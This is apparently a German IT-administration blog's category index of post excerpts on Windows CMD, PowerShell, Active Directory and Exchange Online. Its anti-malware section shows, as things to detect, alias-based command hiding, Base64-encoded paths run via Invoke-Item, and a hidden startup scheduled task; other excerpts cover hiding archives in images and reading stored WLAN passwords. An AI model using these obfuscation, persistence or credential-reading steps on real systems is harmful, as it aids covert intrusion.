Direkt zu den Kategorien

Active Directory

An welchem DC Server bin ich angemeldet?

Die Anmeldung eines Clients am Active Directory findet sich in der Umgebungsvariable %logonserver% auf der Konsole: echo %logonserver% Der Befehl zeigt den Namen des Domain Controllers an, auf den sich der Client aktuell verbunden hat. Dies ist hilfreich für Diagnose und Troubleshooting. Die Information wird direkt in der Kommandozeile angezeigt....

Weiterlesen →
Abgelaufene AD-Konten in Entra ID

Wer ein on-premise AD betreibt, das in die Cloud synct, also sich mit dem (früheren AzureAD) Entra ID verschmelzt, der sollte tunlichst darauf achten, dass abgelaufene Konten aus dem on-premise AD dann plötzlich wieder nutzbar sind im Entra ID. Dieser Zusammenhang besteht, wenn das Attribut expiration-date gefüllt ist, aber der Account weiterhin auf "enabled" steht. Da es im Entra ID kein expiration-date gibt, werden also bei einem Sync-Vorgang geglaubte deaktivierte Konten "plötzlich" wieder aktiv....

Weiterlesen →

Anti-Malware

Alias von Kommandos

Neben dem Verstecken von Kommandos gibt es auch noch die einfache Möglichkeit die vorhandenen PowerShell-Kommandos mit Aliasen zu versehen. Das kann praktische Gründe haben, kann aber auch im Rahmen von Malware vorkommen, wenn man Kommandos verstecken will. Ein Alias geht wie folgt: $alias = 'Get-Dir'; Set-Alias -Name $alias -Value Get-ChildItem; Invoke-Expression $alias Hier gilt es auf die Stichwörter Set-Alias sowie erneut auf Invoke-Expression zu achten....

Weiterlesen →
Festplatte auf Ereignisse überwachen

Die PowerShell eignet sich auch dafür, dass man Ereignisse auf seinem Rechner im Detail überwacht, beispielsweise Aktivitäten auf der Festplatte. Wenn eine Malware beispielsweise neue Dateien anlegt, so kann man dies mittels FileMon von SysInternals (migriert zu Process Monitor) mitbekommen. Es geht aber auch mittels PowerShell mit ein paar Befehlen, wie folgt: $watcher = New-Object System.IO.FileSystemWatcher; $watcher.Path = 'C:\'; $watcher.IncludeSubdirectories = $true; $watcher.EnableRaisingEvents = $true; Register-ObjectEvent $watcher 'Created' -Action { Write-Host 'File Created: ' $Event.SourceEventArgs.FullPath } Man erzeugt ein neues Objekt, wählt den Pfad aus, gibt an ob es auch für Unterverzeichnisse gilt, legt fest dass man benachrichtig wird, und registriert dann dieses Objekt. Es gilt allerdings nur für die Anlage von neuen Dateien. Weitere Infos zu dem Befehl Register-ObjectEvent lässt sich nachlesen....

Weiterlesen →
Pfad-Angaben verstecken

Auf der Suche nach Mustern für verdächtige PowerShell-Ausführungen (weitere Beispiele) findet sich auch oft die Nutzung von codierten Strings. Beispiel ist die zuvor codierte Pfadangabe mittels Base64 dann beim „Opfer“ wieder in eine lesbare Pfadangabe zu decodierten und dann auszuführen, wie folgt: $path = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVGVtcFxBZG1pblRvb2xz')); Invoke-Item $path Es gilt also auf die Befehle „Invoke-Item“ zu achten....

Weiterlesen →
Scheduled Task erstellen

Unter Windows lassen sich PowerShell-Befehle auch ganz einfach in einen wiederkehrenden Task, sogenannte Scheduled Tasks, verwandeln. Folgendes Beispiel illustriert diese Vorgehensweise: $action = New-ScheduledTaskAction -Execute 'Powershell.exe' -Argument '-NoProfile -WindowStyle Hidden -Command "BEFEHL"'; $trigger = New-ScheduledTaskTrigger -AtStartup; Register-ScheduledTask -Action $action -Trigger $trigger -TaskName 'Mein Task' -Description 'Beschreibung' Man muss also lediglich das Feld „BEFEHL“ durch den PowerShell-Befehl ersetzen....

Weiterlesen →
Verstecken von Kommandos

Bei maliziösen PowerShells in freier Wildbahn sollte man auf der Hut. Allerdings muss man auch die besagten Kommandos erkennen, die schadhaft oder zumindest verdächtig sind. Die „Endgegner“ versuchen mit allen Methoden ihre Künste zu verstecken, sowohl vor der Abwehr als auch schon bei der Erkennung sowie Ausführung. Ein beliebtes Beispiel sind die Obfuscation- Methoden, die man immer wieder findet....

Weiterlesen →
Antivirus für Zuhause plus zentraler Steuerung plus bezahlbar

Es gibt ja bekanntlich zahlreiche IT-Sicherheitsprodukte für den Heimbereich. Schnell fündig wird man über av-test.org und sucht sich nach Betriebssystem dann das für einen beste Produkt aus. Hat man aber mehrere Geräte und zudem verschiedene Betriebssysteme (beispielsweise iOS, Android, Windows, Linux, MacOSX), dann wird die Auswahl plötzlich wesentlich dünner. Ndennoch findet man auch hier ein passendes Produkt, wobei es kaum preisliche Unterschiede zwischen 5 oder 10 zu schützenden Geräten gibt....

Weiterlesen →

CMD Konsole

Aktuelle DNS-Einträge im Cache unter Windows

Möchte man sich die aktuell aufgelösten Einträge mit ihrer TTL unter Windows anschauen, so gibt es dazu direkt einen Befehl, der einem diese Informationen auf der Windows-Konsole liefert, wie folgt: ipconfig /displaydns Dies zeigt alle aktuell im DNS-Cache vorhandenen Einträge mit ihrer verbleibenden Gültigkeitsdauer....

Weiterlesen →
Aktuellen Ordner zippen mit PowerShell in der CMD

Wenn man mal eben einen Ordner auf der Kommandozeile zippen will, ohne auf fremde Tools zurückgreifen zu wollen, so geht dies recht einfach in der Windows-Konsole (CMD) und dem PowerShell-Befehl Compress-Archive, wie folgt: powershell Compress-Archive . Datei.zip Hier ist zu beachten, dass die Angabe des Punktes („.“) das aktuelle Verzeichnis darstellt....

Weiterlesen →
Aufräumen des Systems mit CMD Befehlen

Will man sein Windows-System einmal gründlich aufräumen, so gibt es neben der bekannten Funktion „Dateibereinigung“ auch einen versteckten Profi-Modus mit versteckten Löschoptionen, die sich nur mit einem CMD-Befehl nutzen lässt. Dazu gibt es folgenden Befehl, den mal als Admin ausführen muss: cleanmgr /sageset:65535 /sagerun:65535 Es erscheint das bekannte Fenster der Datenträger-Bereinigung, aber es bietet nun einige zusätzliche Optionen....

Weiterlesen →
Output von Windows CMD Befehl automatisch in Zwischenablage

Man kennt ja sicherlich die Möglichkeit in der Windows CMD Konsole die Ergebnisse in die Zwischenablage zu befördern. Leider ist aber die Vorgehensweise dazu nur nervig. Man muss mittels Maus die Ergebnisse markieren und dann die rechte Maustaste nutzen. Einfacher geht es wie folgt. Starte die Eingabeaufforderung (CMD) und gib den Befehl ein, für den Sie die Ausgabe kopieren möchten, gefolgt von „| clip“, wie folgt: ipconfig /all | clip....

Weiterlesen →
Dateien verstecken mit der CMD Konsole

CMD ermöglicht einen Befehl, mit dem Sie zwei Dateien zu einer einzigen Datei verketten oder zusammenführen können. Eigentlich kommt diese Funktion aus der Anforderung zum Zusammenführen der Inhalte grundlegender Dateitypen wie TXT oder CSV. Aber man kann den Befehl auch dazu nutzen, zwei Dateien zusammen zu kopieren und damit eine komprimierte Datei beispielsweise in einer Bilddatei zu verstecken....

Weiterlesen →
Kerberos Tickets anzeigen

Wenn du wissen möchtest, welche Berechtigungen gerade auf einem Windows-Endpunkt bestehen, kannst du die Kerberos-Tickets anzeigen lassen. Das kann dir helfen festzustellen, ob eine Authentifizierung erfolgreich war oder nicht. Der Befehl auf der normalen Windows-Konsole (CMD.EXE) ist recht einfach: klist Damit erhält man dann alle aktiven Sessions auf einer Maschine, und das sieht dann aus wie folgt:....

Weiterlesen →
Ping vs Pathping

Oft bastelt man mit den Tools ping oder tracert herum, um Verfügbarkeit von Endpunkten (ping) oder die dahinterliegende Strecke (tracert) zu analysieren. Einfacher geht es mit pathping, denn: Der Hauptunterschied besteht darin, dass Ping die ICMP-Verfügbarkeit des Endpunkts anzeigt, die aus der Verfügbarkeit von Hops in der Mitte und dem Zustand des Endpunkts besteht. Beim Pathping wird einem der Zustand der gesamten Route angezeigt....

Weiterlesen →
Shortcuts in Windows CMD Konsole

Man mag es nicht täglich nutzen müssen, aber dennoch sollte man wissen dass es auch Shortcuts in der Microsoft Windows Konsole gibt, die manchmal nützlich sein können. Zunächst einmal die Erläuterungen, welche Shortcuts es überhaupt gibt: F1: Tippen oder halten Sie diese Taste, um Ihren letzten Befehl Buchstabe für Buchstabe erneut einzugeben.F2: Kopiert den aktuellen Befehl bis zu einem angegebenen Zeichen.F3: Gibt die gesamte vorherige Zeile erneut einF4: Löscht den aktuellen Befehl automatisch bis zu einem angegebenen Zeichen.F5: Ähnlich wie F3, ermöglicht Ihnen jedoch das Durchlaufen vorheriger Befehle.F6: Fügt den EOF-Indikator in CMD ein.F7: Öffnet eine Liste der zuvor eingegebenen Befehle.F8: Ähnlich wie F5, stoppt jedoch nicht am Ende Ihres Befehlsverlaufs in der Sitzung. Stattdessen geht es bis zum Anfang.F9: Gibt einen vorherigen Befehl ein, indem eine mit dieser Zeile verknüpfte Nummer eingegeben wird. Was man so kennt ist F5, also das Durchlaufen der zuvor in einer Sitzung durchlaufenden Befehle. Allerdings geht dies wesentlich einfacher mit der Cursor-Taste hoch bzw. runter, also wie bei allen Linux Shells. Was ich persönlich aber noch nicht kannte ist die Kombination F7. Damit geht ein kleines Fenster auf und man kann einen der zuvor genutzten Befehle erneut absetzen. Das ist sehr praktisch. Das sieht dann wie folgt aus:....

Weiterlesen →
Temporäre Dateien adhoc löschen mit einem Befehl unter CMD Konsole

Man kann temporäre Dateien in seinem Benutzerverzeichnis ohne große Umwege oder Tools einfach mit einem schnellen Befehl löschen. Dies erfordert keine Admin-Berechtigungen. Der Befehl lautet: del /q /f /s %temp%* Die Parameter q, f und s dienen dazu, dass alle Dateien mit allen Unterverzeichnissen in dem temporären Ordner gelöscht werden, ohne Nachfrage und inklusive versteckter Dateien....

Weiterlesen →
Verzeichnisstruktur in der Windows CMD Konsole anzeigen

Oft befindet man sich in der Windows CMD Konsole und hangelt sich mit „dir“-Befehlen durch, um zu sehen, welche Dateien und Verzeichnisse existieren. Die Übersicht über die Verzeichnisstruktur, wie man diese aus dem Windows Explorer kennt, wird nicht unterstützt. Oder etwa doch? Ja, mit dem Befehl tree kann man ganz einfach die Verzeichnisstruktur des aktuellen Verzeichnisses und aller darunter befindlichen Ordner schnell visualisieren....

Weiterlesen →
„Wer bin ich?“ auf der Windows-Konsole

Braucht man schnell die Basis-Informationen wie Benutzernamen und Gruppenzugehörigkeiten, so lockt dazu der Befehl whoami unter der Windows-Konsole mit allen nützlichen Infos. Die wichtigen Befehle sind: whoami, whoami /upn, whoami /fqdn, whoami /user, whoami /groups....

Weiterlesen →
Windows sauber und in Ordnung halten

SFC (System File Checker) ist eine relativ neue Ergänzung zur Eingabeaufforderung, um sein Windows sauber und fehlerfrei zu halten. Es handelt sich um ein praktisches Befehlszeilentool, mit dem man viele Systemprobleme beheben kann, wie folgt: sfc /scannow Nach dem Absetzen des Befehls beginnt die Überprüfung der Integrität aller geschützten Systemdateien....

Weiterlesen →

Exchange Online

Absender in Exchange Shared Mailbox blockieren mittels PowerShell

Wer regelmäßig mit dem Outlook Client arbeitet und eine Exchange Mailbox eingebunden hat, wird irgendwann auf eine Besonderheit stoßen: gesperrte Absender lassen sich für eine Shared Mailbox nicht über die normale GUI verwalten. Die Pflege von gesperrten Absendern für eine verwaltete Mailbox erfolgt nur über OWA oder PowerShell. Ich bevorzuge PowerShell....

Weiterlesen →
Authentifiziertes SMTP in Microsoft Exchange für einzelne Mailboxen

Wer auf Microsoft Exchange setzt, nutzt in der Regel einen Client wie Outlook, um Mails zu versenden und zu empfangen. Es gibt aber auch Dienste oder Anwendungen, die nur SMTP mit Authentifizierung sprechen. Dann steht man vor dem Dilemma, das Protokoll freizuschalten, aber nicht für den gesamten Tenant. Hier hilft die Möglichkeit, das Protokoll auf Mailbox-Ebene zu setzen....

Weiterlesen →
Exchange Online – Quarantäne Mails löschen

Arbeitet man innerhalb von Microsofts Exchange Online mit der Quarantäne, so wird man recht schnell feststellen, wie mühselig die GUI reagiert, immer wieder Reloads durchführt und einem das Leben zur "Hölle" machen kann. Zudem stellt man fest, dass bei dem "Freilassen" von Mails ("release"), diese weiterhin dort angezeigt werden und somit ein Ansichtsfilter von Nöten ist, den man jedes Mal wieder aufs Neue einstellen muss. Abhilfe schafft hier die Nutzung einiger PowerShell-Scripte, die man nach Belieben für seine Zwecke anpassen kann....

Weiterlesen →
Exchange Online: Quarantäne leeren von geblockten Absendern

Im Rahmen der Nutzung von Exchange Online wird man irgendwann feststellen, dass E-Mails, deren Absender bereits in der Tenant-Blockliste gesperrt sind, nicht gelöscht werden, sondern weiterhin angenommen werden. Diese landen in der E-Mail-Quarantäne von Exchange Online, allerdings ist der Filter so gesetzt, dass man diese nicht sieht. Das hat für die Übersicht einen großen Vorteil, allerdings wird die gesamte Quarantäne-Ansicht sehr ausgebremst, weil sich der komplette Spam dort noch befindet....

Weiterlesen →

Microsoft Defender

Exchange Online – Quarantäne Mails löschen

Arbeitet man innerhalb von Microsofts Exchange Online mit der Quarantäne, so wird man recht schnell feststellen, wie mühselig die GUI reagiert, immer wieder Reloads durchführt und einem das Leben zur "Hölle" machen kann. Zudem stellt man fest, dass bei dem "Freilassen" von Mails ("release"), diese weiterhin dort angezeigt werden und somit ein Ansichtsfilter von Nöten ist, den man jedes Mal wieder aufs Neue einstellen muss. Abhilfe schafft hier die Nutzung einiger PowerShell-Scripte, die man nach Belieben für seine Zwecke anpassen kann....

Weiterlesen →
Große (Log-)Dateien unter Windows auslesen

Oft steht man vor dem Problem, dass grosse Logdateien jeden Dateibetrachter wie notepad.exe in die Knie zwingen. Nimmt man eine komfortable Version eines Editors wie Notepad++, so hängt der sich auch mal gerne auf, wenn die Datei größer als 1GB wird. Was macht man nun? Wenn man beispielsweise weiß, dass man nur die letzten 500 Einträge einer zeitlich iterativen Datei sichten will, so kann man das unter Linux bekannte 'tail' nutzen. Das gibt es netterweise auch unter Windows unter Zuhilfe des PowerShell-CMDlets 'Get-Content'....

Weiterlesen →

Monitoring

CPU Auslastung prüfen und alarmieren

Mittels PowerShell kann man automatisiert die CPU überwachen und eine Alarmmeldung auslösen, sobald ein Schwellenwert überschritten wird. Der Parameter "cpuThreshold" gibt das Limit für die CPU an, ab der alarmiert werden soll. Das Intervall ist mit "Start-Sleep" einstellbar. Dies ist besonders nützlich für Administratoren, die ihre Systeme proaktiv überwachen möchten....

Weiterlesen →

OpenSSL

Checken, wann das Webseiten-Zertifikat abläuft

Mit dem Kommandozeilen-Werkzeug OpenSSL lässt sich komfortabel prüfen, wann ein Webseiten-Zertifikat abläuft. Normalerweise holt man sich das Zertifikat als Datei auf die Platte, und prüft dann mit dem klassischen OpenSSL-Kommando wie folgt: openssl x509 -in certificate.txt -text -noout Um nun aber in einem Rutsch das Zertifikat einer Webseite zu ziehen und die Prüfung vorzunehmen, muss man mittels OpenSSL eine Client-Anfrage generieren, das Ergebnis in eine Datei „schieben“ und anschließend mittels Piping („|“) dann die Prüfung vornehmen, wie folgt: openssl s_client -connect derwaldmeister.com:443 2>test.txt | openssl x509 -noout -text Will man wirklich nur das Ablaufdatum, dann ersetzt man „-text“ durch „-dates“....

Weiterlesen →

PowerShell

Absender in Exchange Shared Mailbox blockieren mittels PowerShell

Wer regelmäßig mit dem Outlook Client arbeitet und eine Exchange Mailbox eingebunden hat, wird irgendwann auf eine Besonderheit stoßen: gesperrte Absender lassen sich für eine Shared Mailbox nicht über die normale GUI verwalten. Die Pflege von gesperrten Absendern für eine verwaltete Mailbox erfolgt nur über OWA oder PowerShell. Ich bevorzuge PowerShell....

Weiterlesen →
Aktuellen Ordner zippen mit PowerShell in der CMD

Wenn man mal eben einen Ordner auf der Kommandozeile zippen will, ohne auf fremde Tools zurückgreifen zu wollen, so geht dies recht einfach in der Windows-Konsole (CMD) und dem PowerShell-Befehl Compress-Archive, wie folgt: powershell Compress-Archive . Datei.zip Hier ist zu beachten, dass die Angabe des Punktes („.“) das aktuelle Verzeichnis darstellt....

Weiterlesen →
CPU Auslastung prüfen und alarmieren

Mittels PowerShell kann man automatisiert die CPU überwachen und eine Alarmmeldung auslösen, sobald ein Schwellenwert überschritten wird. Der Parameter „cpuThreshold“ gibt das Limit für die CPU an, ab der alarmiert werden soll. Das Intervall ist mit „Start-Sleep“ einstellbar. Dies ist besonders nützlich für Administratoren, die ihre Systeme proaktiv überwachen möchten....

Weiterlesen →
Einträge in der Windows-Ereignisanzeige per PowerShell abfragen

Wenn man einmal schnell die Fehlermeldungen oder auch nur Warnungen von Windows aus der Ereignisanzeige mittels PowerShell abrufen will, so kann man dies mit folgendem Kommando: get-winevent -FilterHashtable @{Logname = 'System';Level=2} -MaxEvents 30 | sort-Object ProviderName,TimeCreated Will man auch noch die Warnungen dazu haben, so muss aus Level=2 einfach Level=3 werden....

Weiterlesen →
Exchange Online: Quarantäne leeren von geblockten Absendern

Im Rahmen der Nutzung von Exchange Online wird man irgendwann feststellen, dass E-Mails, deren Absender bereits in der Tenant-Blockliste gesperrt sind, nicht gelöscht werden, sondern weiterhin angenommen werden. Diese landen in der E-Mail-Quarantäne von Exchange Online, allerdings ist der Filter so gesetzt, dass man diese nicht sieht. Das hat für die Übersicht einen großen Vorteil, allerdings wird die gesamte Quarantäne-Ansicht sehr ausgebremst, weil sich der komplette Spam dort noch befindet....

Weiterlesen →
Große (Log-)Dateien unter Windows auslesen

Oft steht man vor dem Problem, dass grosse Logdateien jeden Dateibetrachter wie notepad.exe in die Knie zwingen. Nimmt man eine komfortable Version eines Editors wie Notepad++, so hängt der sich auch mal gerne auf, wenn die Datei größer als 1GB wird. Was macht man nun? Wenn man beispielsweise weiß, dass man nur die letzten 500 Einträge einer zeitlich iterativen Datei sichten will, so kann man das unter Linux bekannte 'tail' nutzen. Das gibt es netterweise auch unter Windows unter Zuhilfe des PowerShell-CMDlets 'Get-Content'....

Weiterlesen →
Befehl auf remote Maschine ausführen

Wie schon in meinem anderen PowerShell-Posting zum Administrieren von remote Maschinen, geht es hier um das Gleiche, allerdings mit einem anderen Befehl. Invoke-Command -ComputerName ZielPC -ScriptBlock { Get-Process } -Credential (Get-Credential) In diesem Falle wird der Befehl Get-Process ausgeführt. Man kann natürlich auch seinen kompletten Code in eine andere Variable packen und diese dann hier nennen....

Weiterlesen →
Befehl letzte Änderung des Passworts eines Benutzers im Active Directory

Wann hat ein User das letzte Mal sein Passwort geändert? Wenn ich ein Active Directory einsetze und PowerShell nutzen möchte, so lautet der Befehl dazu wie folgt: Get-ADUser USER -Properties PwdLastSet | Select-Object Name,UserPrincipalName,@{N="PasswordDate";e={[DateTime]::FromFileTime($_.Pwdlastset)}} Man muss lediglich das Wort USER durch den Benutzernamen ersetzen....

Weiterlesen →
Eventlog auslesen

Mittels PowerShell lässt sich recht einfach der Eventlog (Ereignisanzeige) auslesen, in dem man als Paramter die Art des Logs (hier Security) auswählt und dann noch beispielsweise nach einem Event (Ereignis) filtern kann. Get-EventLog -LogName Security | Where-Object {$_.EntryType -eq 'FailureAudit'} Bekanntlich kann man unter Windows viele verschiedene Wege nach Rom wählen, daher gibt es auch die Möglichkeit den Befehl Get-WinEvent nehmen....

Weiterlesen →
ipconfig Nachbau

Will man die Details über die Netzwerkkonfiguration von Windows erfahren, so nimmt man standardmässig den Befehl ipconfig/all unter der CMD Konsole. Unter PowerShell geht das wie folgt genauso gut: Get-NetIPConfiguration | Select-Object -Property InterfaceAlias, IPv4Address, IPv6Address, DNServer Damit erhält man alle Netzwerk-Informationen direkt vom System....

Weiterlesen →
Netzwerk Konfiguration auslesen

Will man mittels PowerShell die in Windows hinterlegten Netzwerk-Konfigurationen auslesen, so nimmt sich man den folgenden Befehl: Get-NetIPConfiguration | Select-Object -Property InterfaceAlias, IPv4Address, IPv6Address, DNServer Dieser Befehl sammelt Netzwerkkonfigurationsdetails wie Schnittstellenaliase, IPv4- und IPv6-Adressen und DNS-Serverinformationen....

Weiterlesen →
Suche in Dateien nach Inhalten

Bevor man den Windows-Explorer anschmeißt um Dateien und dessen Inhalte zu suchen, ist man mittels PowerShell hier eventuell viel schneller unterwegs. Dazu bedient man sich des folgenden Befehls: Select-String -Path C:\Users\*\Documents\*.txt -Pattern 'suchwort' -CaseSensitive Vorteil dieser Methode ist, dass man hier gezielt mit Platzhaltern agieren kann....

Weiterlesen →
TaskManager – Prozesse auslesen und darstellen

Der folgende Befehl listet alle Prozesse auf, sortiert nach CPU-Nutzung: Get-Process | Select-Object -Property ProcessName, Id, CPU | Sort-Object -Property CPU -Descending Dies bietet eine übersichtliche Darstellung aller laufenden Prozesse und ihrer CPU-Auslastung....

Weiterlesen →
WLAN Passwörter auslesen

Mittels PowerShell lassen sich für alle Profile (verschiedene abgespeicherte WLANs) die jeweiligen Einstellungen als auch die mitgespeicherten Passwörter auslesen, wie folgt: Dieser Befehl listet die abgespeicherten WLAN-Profile auf: netsh wlan show profiles Mit dem Profilnamen lässt sich dann das Profil auslesen, inklusive Passwort, wie folgt:....

Weiterlesen →
Regeln von Mailboxen in Exchange Online

Wer sich schon einmal gewundert hat, dass es in der Verwaltung von Exchange Online Mailboxen trotz fehlender Dauerweiterleitungen dennoch Anomalien gibt, dem sei geholfen, einmal in die Regeln einer User-Mailbox selbst hineinzuschauen. Das geht mittels Delegation natürlich problemlos, hat aber den Nachteil, dass man mitunter warten muss, bis Exchange Online das verdaut hat. Schneller geht es, wenn man direkt mittels PowerShell in die Mailbox-Regeln des jeweiligen Users reinschaut....

Weiterlesen →
Automatisch Screenshots machen (alle 60 Sekunden)

Wenn man einen Screenshot automatisch vom Bildschirm erstellen möchte, kann man das mit PowerShell komfortabel lösen. Add-Type -AssemblyName System.Drawing function Take-Screenshot { $screenWidth = [System.Windows.Forms.SystemInformation]::PrimaryMonitorSize.Width....

Weiterlesen →
Windows – Suche in Dateien mit Ausgabe aller Treffer

Oft steht man vor dem Problem, dass man einen großen Logfile hat und nach einem Stichwort in der Datei suchen will. Der Windows Explorer bietet hier nicht immer die beste Ausgabe. PowerShell hilft mit Select-String, um alle Treffer mit Zeilennummern zu finden. Select-String -Path .\datei.log -Pattern 'Stichwort' > Ausgabe.txt....

Weiterlesen →

Sicherheit

IT-Risiko: Wie man Sicherheitsrisiken im Alltag reduziert

IT-Risiken können aus vielen Quellen stammen: unsichere Passwörter, veraltete Systeme oder fehlende Backups. Der erste Schritt ist das Bewusstsein. Wichtig sind klare Prozesse für den Umgang mit sensiblen Daten und regelmäßige Überprüfungen der Systeme. Eine systematische Herangehensweise hilft, Risiken zu minimieren....

Weiterlesen →
Sichere Passwörter erstellen und einfach verwalten

Nein, sichere Passwörter müssen nicht kompliziert wirken. Viel wichtiger ist ein sicherer Umgang und eine klare Beschreibung der Anwendung. Der praktische Weg ist oft ein Passwortmanager, der die Komplexität kümmert. So muss der Anwender nur noch ein Master-Passwort kennen. Es ist wichtig, lange Passwörter mit mindestens 12 Zeichen zu verwenden....

Weiterlesen →
Sicherer Austausch von Passwörtern

Wie tauscht man auf sicherem Wege Passwörter aus? Oft gibt es nur komplexe Lösungen – oder man nutzt einen zweiten Kanal für den Schlüssel. Man verschlüsselt Informationen und nutzt dazu symmetrische Verfahren. Der Austausch des Schlüssels erfolgt über einen separaten Kanal. Tools wie Password Pusher (pwpush.com) bieten eine Möglichkeit, Passwörter einmalig bereitzustellen und danach nicht mehr zugänglich zu machen....

Weiterlesen →

Sonstiges

Aktuelle DNS-Einträge im Cache unter Windows

Möchte man sich die aktuell aufgelösten Einträge mit ihrer TTL unter Windows anschauen, so gibt es dazu direkt einen Befehl, der einem diese Informationen auf der Windows-Konsole liefert, wie folgt: ipconfig /displaydns Dies zeigt alle aktuell im DNS-Cache vorhandenen Einträge mit ihrer verbleibenden Gültigkeitsdauer....

Weiterlesen →
Kerberos Tickets anzeigen

Wenn du wissen möchtest, welche Berechtigungen gerade auf einem Windows-Endpunkt bestehen, kannst du die Kerberos-Tickets anzeigen lassen. Das kann dir helfen festzustellen, ob eine Authentifizierung erfolgreich war oder nicht. Der Befehl auf der normalen Windows-Konsole (CMD.EXE) ist recht einfach: klist Damit erhält man dann alle aktiven Sessions auf einer Maschine, und das sieht dann aus wie folgt:....

Weiterlesen →
Sicherer Austausch von Passwörtern

Wie tauscht man auf sicherem Wege Passwörter aus? Oft gibt es nur komplexe Lösungen – oder man nutzt einen zweiten Kanal für den Schlüssel. Man verschlüsselt Informationen und nutzt dazu symmetrische Verfahren. Der Austausch des Schlüssels erfolgt über einen separaten Kanal. Tools wie Password Pusher (pwpush.com) bieten eine Möglichkeit, Passwörter einmalig bereitzustellen und danach nicht mehr zugänglich zu machen....

Weiterlesen →

Tipps

Aktuelle DNS-Einträge im Cache unter Windows

Möchte man sich die aktuell aufgelösten Einträge mit ihrer TTL unter Windows anschauen, so gibt es dazu direkt einen Befehl, der einem diese Informationen auf der Windows-Konsole liefert, wie folgt: ipconfig /displaydns Dies zeigt alle aktuell im DNS-Cache vorhandenen Einträge mit ihrer verbleibenden Gültigkeitsdauer....

Weiterlesen →
Aufräumen des Systems mit CMD Befehlen

Will man sein Windows-System einmal gründlich aufräumen, so gibt es neben der bekannten Funktion „Dateibereinigung“ auch einen versteckten Profi-Modus mit versteckten Löschoptionen, die sich nur mit einem CMD-Befehl nutzen lässt. Dazu gibt es folgenden Befehl, den mal als Admin ausführen muss: cleanmgr /sageset:65535 /sagerun:65535 Es erscheint das bekannte Fenster der Datenträger-Bereinigung, aber es bietet nun einige zusätzliche Optionen....

Weiterlesen →
Output von Windows CMD Befehl automatisch in Zwischenablage

Man kennt ja sicherlich die Möglichkeit in der Windows CMD Konsole die Ergebnisse in die Zwischenablage zu befördern. Leider ist aber die Vorgehensweise dazu nur nervig. Man muss mittels Maus die Ergebnisse markieren und dann die rechte Maustaste nutzen. Einfacher geht es wie folgt. Starte die Eingabeaufforderung (CMD) und gib den Befehl ein, für den Sie die Ausgabe kopieren möchten, gefolgt von „| clip“, wie folgt: ipconfig /all | clip....

Weiterlesen →
Dateien verstecken mit der CMD Konsole

CMD ermöglicht einen Befehl, mit dem Sie zwei Dateien zu einer einzigen Datei verketten oder zusammenführen können. Eigentlich kommt diese Funktion aus der Anforderung zum Zusammenführen der Inhalte grundlegender Dateitypen wie TXT oder CSV. Aber man kann den Befehl auch dazu nutzen, zwei Dateien zusammen zu kopieren und damit eine komprimierte Datei beispielsweise in einer Bilddatei zu verstecken....

Weiterlesen →
Freien Speicherplatz sicher löschen (ohne Extra-Tools) unter Microsoft Windows

Es gibt zahlreiche Tools (neben kostenlosen auch kostenpflichtige), die freie Speicherbereiche auf der Festplatte sicher löschen (also mit Nullen vollschreiben). Dazu gibt es jedoch auch Bordmittel von Microsoft Windows, die man komfortabel auf der CMD-Konsole nutzen kann. Der Befehl cipher /W:C:\ löscht den freien Speicherplatz auf Laufwerk C:\. Dies ist eine sichere Methode, ohne zusätzliche Tools zu verwenden....

Weiterlesen →
Große (Log-)Dateien unter Windows auslesen

Oft steht man vor dem Problem, dass grosse Logdateien jeden Dateibetrachter wie notepad.exe in die Knie zwingen. Nimmt man eine komfortable Version eines Editors wie Notepad++, so hängt der sich auch mal gerne auf, wenn die Datei größer als 1GB wird. Was macht man nun? Wenn man beispielsweise weiß, dass man nur die letzten 500 Einträge einer zeitlich iterativen Datei sichten will, so kann man das unter Linux bekannte 'tail' nutzen. Das gibt es netterweise auch unter Windows unter Zuhilfe des PowerShell-CMDlets 'Get-Content'....

Weiterlesen →
Microsoft Viva Dienste wie Insights, Learning oder Digest für alle Benutzer abschalten

Man ist es ja mittlerweile gewohnt, dass neue Dienste aus dem Hause MS direkt angeschaltet werden, also ohne Opt-In. Das führt dann meist zu Verdruss bei Nutzern, die wiederum ihren Frust dann an der IT Abteilung auslassen 😉 Wenn beispielsweise jemand in Outlook auf eine E-Mail einen Like abgibt (ja irgendwo ist das möglich), dann erhält man später als Absender der besagten E-Mail eine E-Mail von Microsoft mit dem Subject "Täglicher Reaktionsdigest". Diese Art der Benachrichtigung lässt sich nur per Benutzer einzeln abschalten. Oder halt mittels PowerShell wie folgt:....

Weiterlesen →
Automatisch Screenshots machen (alle 60 Sekunden)

Wenn man einen Screenshot automatisch vom Bildschirm erstellen möchte, kann man das mit PowerShell komfortabel lösen. Add-Type -AssemblyName System.Drawing function Take-Screenshot { $screenWidth = [System.Windows.Forms.SystemInformation]::PrimaryMonitorSize.Width....

Weiterlesen →
Screenshots per E-Mail versenden: Tipps und Tools

Wenn du jemandem Bilder per E-Mail sendest, achte darauf, sie kompakt und aussagekräftig bereitzustellen. Vermeide es, die originale Bildschirmauflösung als große PNG-Datei zu versenden, wenn nur Details sichtbar gemacht werden sollen. Folgende Punkte helfen dabei: - Nutze ein einfaches Snipping-Tool oder einen Screenshot-Prüfmodus. - Speichere das Bild als JPG oder eine kompakte PNG-Datei....

Weiterlesen →
Temporäre Dateien adhoc löschen mit einem Befehl unter CMD Konsole

Man kann temporäre Dateien in seinem Benutzerverzeichnis ohne große Umwege oder Tools einfach mit einem schnellen Befehl löschen. Dies erfordert keine Admin-Berechtigungen. Der Befehl lautet: del /q /f /s %temp%* Die Parameter q, f und s dienen dazu, dass alle Dateien mit allen Unterverzeichnissen in dem temporären Ordner gelöscht werden, ohne Nachfrage und inklusive versteckter Dateien....

Weiterlesen →
„Wer bin ich?“ auf der Windows-Konsole

Braucht man schnell die Basis-Informationen wie Benutzernamen und Gruppenzugehörigkeiten, so lockt dazu der Befehl whoami unter der Windows-Konsole mit allen nützlichen Infos. Die wichtigen Befehle sind: whoami, whoami /upn, whoami /fqdn, whoami /user, whoami /groups....

Weiterlesen →
Windows sauber und in Ordnung halten

SFC (System File Checker) ist eine relativ neue Ergänzung zur Eingabeaufforderung, um sein Windows sauber und fehlerfrei zu halten. Es handelt sich um ein praktisches Befehlszeilentool, mit dem man viele Systemprobleme beheben kann, wie folgt: sfc /scannow Nach dem Absetzen des Befehls beginnt die Überprüfung der Integrität aller geschützten Systemdateien....

Weiterlesen →
Einträge in der Windows-Ereignisanzeige per PowerShell abfragen

